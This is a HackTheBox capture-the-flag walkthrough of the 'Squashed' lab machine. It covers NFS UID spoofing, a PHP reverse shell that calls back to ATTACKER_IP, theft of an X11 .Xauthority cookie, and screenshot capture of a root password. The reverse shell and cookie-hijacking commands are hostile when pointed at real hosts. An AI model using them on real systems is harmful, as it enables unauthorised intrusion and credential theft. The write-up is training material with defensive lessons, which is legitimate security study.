Squashed - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Squashed is an Easy difficulty Linux machine that demonstrates critical misconfigurations in NFS (Network File System) shares combined with X11 display enumeration for privilege escalation. The attack chain involves identifying world-accessible NFS mounts, leveraging NFS’s lack of authentication by impersonating users through UID/GID spoofing to upload a reverse shell, then escalating privileges by stealing X11 session cookies to hijack an authenticated GUI session and extract credentials from an open password manager. TL;DR: NFS enumeration → UID spoofing to upload web shell → SSH foothold → NFS UID spoofing (ross) → steal X11 cookies → screenshot password manager → root access.

Reconnaissance

Port Scanning

# Initial port scan to identify open ports
nmap -p- --min-rate=1000 -T4 squashed.htb

# Detailed scan of identified ports
ports=$(nmap -p- --min-rate=1000 -T4 squashed.htb | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV squashed.htb

Results:

• Port 22/TCP - OpenSSH (Standard SSH service)
• Port 80/TCP - Apache HTTP Server (Web application)
• Port 111/TCP - rpcbind (RPC service registry)
• Port 2049/TCP - NFS (Network File System)

Service Enumeration

NFS Enumeration

NFS (Network File System) is a protocol that enables file sharing across networks without built-in authentication or authorization mechanisms. This makes it particularly vulnerable to misconfiguration.

# List available NFS shares on the target
showmount -e squashed.htb

Identified Shares:

Export list for squashed.htb:
/var/www/html           *
/home/ross              *

Both shares are globally accessible (indicated by the asterisk). We proceed to mount and examine them.

# Mount the first share (web server directory)
sudo mount -t nfs squashed.htb:/var/www/html /mnt/1

# Check permissions on the mounted directory
ls -ld /mnt/1
# Output: drwxr-xr-x 2 2017 33 4096 Nov 19 06:26 /mnt/1

The directory is owned by UID 2017 and GID 33 (www-data group). Files are not readable by our current user.

# Mount the second share (user home directory)
sudo mount -t nfs squashed.htb:/home/ross /mnt/2

# Check contents and permissions
ls -la /mnt/2
# Can see files and permissions here - owned by UID 1001

HTTP Enumeration

Navigating to http://squashed.htb reveals a furniture store website template with no dynamic functionality. The static files match those in the mounted NFS share at /var/www/html.

Vulnerability Assessment

1. NFS Misconfiguration (Critical):

   • Shares are mounted with rw (read-write) permissions globally
   • No all_squash flag to restrict all users uniformly
   • Only root_squash is configured, preventing UID 0 exploitation
   • Allows UID/GID spoofing attacks

2. Web Server Writable via NFS:

   • The Apache document root (/var/www/html) is writable to impersonated users
   • Enables arbitrary file upload through NFS mounting

3. X11 Session Exposure:

   • X11 display running on the target with authenticated sessions
   • .Xauthority file readable by impersonated users
   • Session cookies can be stolen and reused

Initial Foothold

Exploitation Path

The exploitation strategy leverages NFS’s lack of authentication. By creating a local user with the same UID as the NFS share owner (UID 2017), we gain write permissions to the web server directory.

Step 1: Create Impostor User

# Create a new local user
sudo useradd xela

# Assign UID 2017 (matching the NFS share owner)
sudo usermod -u 2017 xela

# Assign GID 2017 (for completeness)
sudo groupmod -g 2017 xela

# Verify the user configuration
cat /etc/passwd | grep xela
# Output: xela:x:2017:2017::/home/xela:/bin/sh

Step 2: Write Web Shell

# Switch to the impostor user
sudo su xela

# Navigate to the mounted NFS share
cd /mnt/1

# Create a PHP reverse shell (using pentestmonkey's shell)
cat > shell.php << 'EOF'
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
$sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
EOF

# Exit back to original user
exit

Note: Replace ATTACKER_IP and ATTACKER_PORT with your attack machine’s details.

Step 3: Trigger Web Shell

# Set up netcat listener on attack machine
nc -lvnp ATTACKER_PORT

# In another terminal, trigger the shell via HTTP
curl http://squashed.htb/shell.php

Result: Reverse shell connection as user alex

# Retrieve user flag
cat /home/alex/user.txt
# Flag: <redacted>

NFS Configuration Verification

# Examine the NFS export configuration on the target
cat /etc/exports

Output:

/var/www/html *(rw,root_squash)
/home/ross *(no_all_squash,root_squash)

Key observations:

• root_squash: Downgrades UID 0 (root) to nfsnobody, preventing SUID binary uploads
• rw flag on /var/www/html: Enables write access for impersonated non-root users
• No rw flag on /home/ross: Read-only access, no write capability

Privilege Escalation

X11 Display Hijacking via NFS

The privilege escalation leverages a second NFS misconfiguration combined with X11 session hijacking. We impersonate user ross (UID 1001) to read his home directory and steal his X11 authentication cookie.

Step 1: Create Second Impostor User

# Create impostor user for ross (UID 1001)
sudo useradd ssor

# Assign UID 1001
sudo usermod -u 1001 ssor

# Assign GID 1001
sudo groupmod -g 1001 ssor

# Switch to impostor user
sudo su ssor

Step 2: Steal X11 Authentication Cookie

X11 uses .Xauthority files to store authentication cookies. By stealing Ross’s cookie, we can hijack his authenticated X11 session.

# Read the .Xauthority file from ross's home (now accessible)
cat /mnt/2/.Xauthority | base64

# Output: AQAADHN<...SNIP...>S0xAoNm/oZZ4/
# (Binary data base64-encoded to avoid corruption during copy-paste)

Return to the target machine (as alex via SSH) and plant the stolen cookie:

# Decode the base64 cookie back to binary
echo "AQAADHN<...SNIP...>S0xAoNm/oZZ4/" | base64 -d > /tmp/.Xauthority

# Set XAUTHORITY environment variable to use stolen cookie
export XAUTHORITY=/tmp/.Xauthority

# Verify we can now interact with ross's X11 display
xauth list

Step 3: Screenshot X11 Display

First, identify which display ross is using:

# Check logged-in users and their displays
w

# Output indicates display :0 in use by ross

Capture a screenshot of the current display:

# Take screenshot of root window
xwd -root -screen -silent -display :0 > /tmp/screen.xwd

# Parameters explained:
#   -root:    Select the root window
#   -screen:  Send GetImage request to root window
#   -silent:  Operate without user interaction
#   -display: Specify X server connection (:0)

Step 4: Extract Credentials

Transfer the screenshot to your attack machine:

# On target, start HTTP server in /tmp
python3 -m http.server 8000

# On attack machine, download the screenshot
wget http://squashed.htb:8000/screen.xwd

# Convert XWD format to PNG using ImageMagick
convert screen.xwd screen.png

# Open the PNG file to view the screenshot
# Screenshot reveals an open password manager with visible credentials:
# Username: root
# Password: cah$mei7rai9A

Step 5: Escalate to Root

# Use the extracted credentials to become root
su root
# Enter password: cah$mei7rai9A

# Retrieve root flag
cat /root/root.txt
# Flag: <redacted>

Attack Chain Summary

NFS Enumeration
    ↓
Identify /var/www/html writable by UID 2017
    ↓
Create impostor user with UID 2017
    ↓
Write PHP reverse shell to web server
    ↓
Execute shell via HTTP (alex shell gained)
    ↓
Create second impostor user for UID 1001 (ross)
    ↓
Read /home/ross via NFS, extract .Xauthority
    ↓
Steal X11 session cookie
    ↓
Hijack authenticated X11 display (:0)
    ↓
Screenshot display with xwd
    ↓
Extract root credentials from password manager
    ↓
su root with stolen password
    ↓
Root shell acquired

Tools Used

Key Learnings

Techniques Practiced

• NFS Enumeration: Using showmount and mount to discover and access network shares
• UID/GID Spoofing: Leveraging NFS’s lack of authentication by creating local users with matching UIDs
• NFS Configuration Analysis: Interpreting export options (rw, root_squash, all_squash)
• X11 Security: Understanding .Xauthority cookies and session hijacking
• Window System Interaction: Capturing X11 displays using xwd
• Reverse Shell Deployment: Writing and executing PHP reverse shells through web servers
• Credential Extraction: Using X11 screenshots to extract sensitive information from GUI applications

Lessons Learned

1. NFS is Inherently Insecure: Without proper authentication, NFS relies entirely on system-level permissions, which can be spoofed through UID matching on the client side.

2. Default Export Permissions Are Dangerous: Globally accessible NFS shares (*) with read-write access are a critical security risk; use IP whitelisting and all_squash whenever possible.

3. X11 Sessions Are Vulnerable: X11’s authentication mechanism (stored in .Xauthority) can be stolen and reused if the file is readable; running X11 on multi-user systems requires careful permission management.

4. Defense in Depth Matters: A single misconfiguration (NFS) led to shell access; a second misconfiguration (readable .Xauthority) led to privilege escalation. Proper hardening requires addressing all vectors.

5. GUI Information Disclosure: Screenshots of open applications can leak sensitive credentials; terminal multiplexers and X11 should restrict access to authenticated users only.

6. UID/GID Are Not Security Boundaries on NFS: NFS respects only the numeric UID/GID, not the username, making spoofing trivial on the client side.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>